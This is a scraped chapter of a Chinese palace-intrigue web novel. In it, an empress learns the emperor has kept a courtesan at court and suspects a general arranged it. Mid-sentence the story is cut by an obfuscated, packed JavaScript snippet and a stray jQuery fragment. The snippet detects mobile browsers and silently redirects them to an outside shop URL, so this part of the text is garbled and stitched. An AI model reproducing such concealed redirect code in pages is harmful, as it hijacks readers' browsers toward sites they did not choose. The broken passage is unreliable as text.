太极宫殿内,一极隐蔽的角落里,宫人站于帘幔阴影之下,低垂着头不敢有半点动静,静静等着天子的召唤。
斑驳光影中看不清她的面容,只知侧脸白皙如羊脂美玉,脖颈宛若白鸟鸿鹄,别有一番柔美雅致。哪怕是再普通不过的侍婢衣衫,也难掩其清姿娉婷。
“姑娘,陛下召见。”吕总管的徒弟喜顺走了过来,轻声道。这宫人亦步亦趋地跟着喜顺,不多时便来到了一处偏殿,此地乃是天子素日午睡安寝之所在。
未时三刻,李承明刚刚醒转,一想到正殿那些堆积如山的奏折,实在是有些厌烦,随意拾起一盏清茶,却不喝,反而聚精会神地看起了杯身。
“定州粉彩瓷,仕女图的花样。”李承明念念有词道。
“禀陛下,这是皇后娘娘昨个亲自挑的器物,说是陛下瞧着定能喜欢。”喜顺带着身后的宫人行至李承明身前道。
“皇后挑的,朕是样样都喜欢。”李承明一听便笑了,原本就清风霁月般的容貌更添几分柔和。
他又将这粉彩瓷里里外外看了个遍,这才缓缓抬起头来,终于看向了喜顺身后的宫人道,“抬起头来。”
那宫人是教过规矩的,轻抬起头来,姿态落落大方,确实是一张美人面,柳眉纤细杏眼柔情,唇不点而朱,眼波流转间万般风情,本是惹人怜的娇艳面容,偏偏气韵上多了些沉稳,更添了几分难以捉摸的韵味,引得人忍不住一探究竟。
李承明瞧了几眼,嘴角噙笑道,“果然京中传闻所言不虚,你叫什么来着?”
“禀陛下,奴婢真名唤做于念芙。”宫人恭敬道,她便是在望月阁内声名大噪的雅妓,只不过往后是不是雅妓就不好说了,有时人的造化就在那么三五瞬间。
“名字也不错,人如其名,朕这御花园正好少了朵芙蓉,你留下侍奉吧。”李承明点了点头,这才起身放下手中的清茶,大步离开了偏殿。
不出一个时辰,端坐在福宁宫中的叶昭融便知晓了这个消息。
“什么?陛下未免也太荒唐了吧?堂堂天子狎妓,还将其带进了宫?”孙玉照都不等通风报信的内侍说完,就失手打翻了碗盏道。
“玉姐姐莫要伤到了。”赵殊珍赶忙命人收拾了起来,嘴角也撇了起来,瞧着也是似有怨怼的。
“接着说下去。”叶昭融没有丝毫动作,只是冷冷说道。
“陛下说京中传闻所言不虚,就将于姑娘留在身边侍奉了。”内侍低头道。
“那这女子现在同陛下在一处了?”孙玉照紧接着问道。
“尚未,陛下回了正殿批阅奏折,并未多做停留。”内侍细细解释道。
“那皇上似是也没多喜欢这于姑娘。”赵殊珍托着下巴,思索道,随后望向了正一言不发的叶昭融。
叶昭融面上看不出什么动静,唯有书案下的纤纤玉手止不住地颤抖,贵女和亲选秀纳妃,一茬茬新人接连不断地进宫,她自问她这个皇后当得已是极为端庄大度了,却不想陛下是欲壑难填,现如今连皇后的体面也不愿给她了。
天为乾,天子乃是万民的表率,地为坤,她这个皇后更是天下之母。
寻常有些体面的人家,尚且不许家中子弟纳雅妓进门,就是做外室都是不许的。现如今,皇城之内后宫之中,青楼女子竟堂而皇之地侍奉,甚至无人知会她这个皇后一声。
若不是她耳聪目明,在宫中四处亲信众多,怕不是要被蒙在鼓里好一阵,说不定待这女子身怀六甲,自己才能有幸知晓,真到了那时,她就是无论如何都阻拦不了得了。
当年先帝也曾荒唐过这么一回,最后惹得前朝后宫非议,彼时正是与南陈开战之际,先皇后出身将门,未嫁于先帝时更是有战功的女将军,先帝顾念着朝政大局与后宫安宁,只能忍痛舍了那青楼女子。
现如今,这事竟也能让她遇上一遭,叶昭融思及此处,忍不住冷笑出了声。盛怒之下,心中思绪反而异常清醒,那令骨髓战栗的恨意被叶昭融强行压了下来。
这事她该不该拦?她该。
她能不能拦得住?她能。
她想不想拦住?她……她不知。
若是那女子当真入宫为妃,定然朝野民间议论纷纷,甚至日后史书工笔亦有这等荒唐事的一笔,可……与她何干?
于叶昭融而言,不过是宫中又多了个妃子,就算陛下专宠一阵子,又能如何?陛下本就是今日宠贵妃,明日宠昭仪,宠得从不是叶昭融,再说她也不屑于要这样的宠爱。不过是随手当个玩意儿,喜欢了便抱在怀里不放手,厌烦了就扔在一旁,甚至经年累月的都想不起来。
当今天子生来便是锦衣玉食,八岁封王,未及弱冠即是太子,如今更是富有四海掌一国权柄,这样的人怎会耽于情爱,后宫妃嫔不过是稳固政治的工具,是彰显他权力的锦簇繁花。
不必同他真情实感地谈论爱,更莫要有什么一生一世一双人的念想,不过是徒劳无功罢了。
叶昭融初登后位的那一年便明白了这个道理,她恨自己明白得太晚,又恨自己明白得太早。但无论如何,总算是明白了。
她甚至不想见那位被留在太极殿侍奉的女子,见或不见有什么意义呢?即使不是她,也会有望月阁望星阁的其他女子,皇帝仅凭传闻便传召入宫,见其貌美就留了下来,哪里能有什么与众不同的情分。
他要的可不是这个女人,他要的是纲常礼教臣服在天子的脚下,这些束缚着王室公卿平民百姓,甚至曾束缚先帝的枷锁,独独在他面前坍塌。
叶昭融不知怎的,心中一阵发笑起来,不如就成全了皇帝的心思,她悠悠闲闲地在后宫扮做一副以泪洗面的模样,最好再大病一场,看看这前朝后宫能因此动荡成什么样子?
当年先帝做不到的事,陛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860940|211990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下一守成之主就能做到吗?她不信,即使曾经两人举案齐眉之时,她亦没有被蒙蔽双眼,如今这位皇帝莫说文治武功比肩先帝,就说对朝堂之把控怕是都不够稳妥,奈何心比天高。
“京中关于这女子的传闻是怎么传到陛下耳中的?”叶昭融收敛心神,挑眉问向来传消息的内侍。
“是前日孙统领偶然提起的,陛下听了就上心了,便命人偷偷将于姑娘带进宫。”内侍低头答道。
“我哥哥?”孙玉照这下子坐不住了,皱眉高声道,刚想接着开口,忽然间就意识到了什么,她知晓这女子传闻,貌似也是哥哥同她讲的。
可她哥哥平日里沉默寡言的,怎会在陛下面前提起这些?
“孙统领在禁军中当差,常游走于陛下身边,有些京中趣事说于陛下,也是常事。”叶昭融神色如常道,“行了,此事本宫知道了,去领赏吧。”
那来通风报信的内侍这才跟着初桃离去,领了好大一笔赏钱。
“昭昭,我不知哥哥为何会如此,他往常从不这样的。”孙玉照见人下去了,赶忙开口解释道。
“我知道的,我认识你兄长时间也不算短了,知晓他是什么样的人。你省亲的这几月里,可知你兄长与谁走得近吗?”叶昭融侧首笑道,眼神诚挚似是真的没有怪孙玉照。
“我哥哥那人无趣得很,每日不是公务就是习武读书的,这几月从不见他与谁交际过。他那般冷的性子,从小到大也就那几个朋友。”孙玉照细细回忆起来道。
性子冷,孙秉武从小到大的朋友?叶昭融脑海中,有一人名瞬间出现了,霍玄景。
“我记得孙家兄长少时好友,怕也是只有那在北疆威名赫赫的定国公吧?”叶昭融随口笑着问道。
“差不多吧,他们俩性子都冷得很,竟然格外谈得来,也不知两桩冰块有什么可聊的。”孙玉照答道。
“那定国公在北疆都好些年了,怕是现在去年京城的传言,都没传到他耳朵里呢。”赵殊珍接着说道。
“也是,我再细想想吧,不管怎么说,我都是要去谏言陛下的。”叶昭融叹了口气道。
“姐姐莫要伤怀为难,我们同你总是一处的,要是陛下为了那女子一意孤行,我便让父亲上书。”赵殊珍拍了拍胸口,十分义薄云天道,也不知是不是最近江湖话本子看多了学的。
“对!我这儿回去就给哥哥写信,弄清楚到底是怎么一回事。”孙玉照点了点头,起身就要回宫大闹一通。
“好,代我向孙家兄长问好。”叶昭融起身,笑意盈盈地送走了孙玉照和赵殊珍。
叶昭融又慢悠悠地走回了殿中,绕了一圈来到了池塘边,那红鲤吃得圆胖,鳞片在日光下熠熠生辉。她瞧着瞧着便出了神,本以为是陛下一意孤行,却不想竟是有人设局,设局之人当真是霍玄景?
若真是他,那他到底要做什么?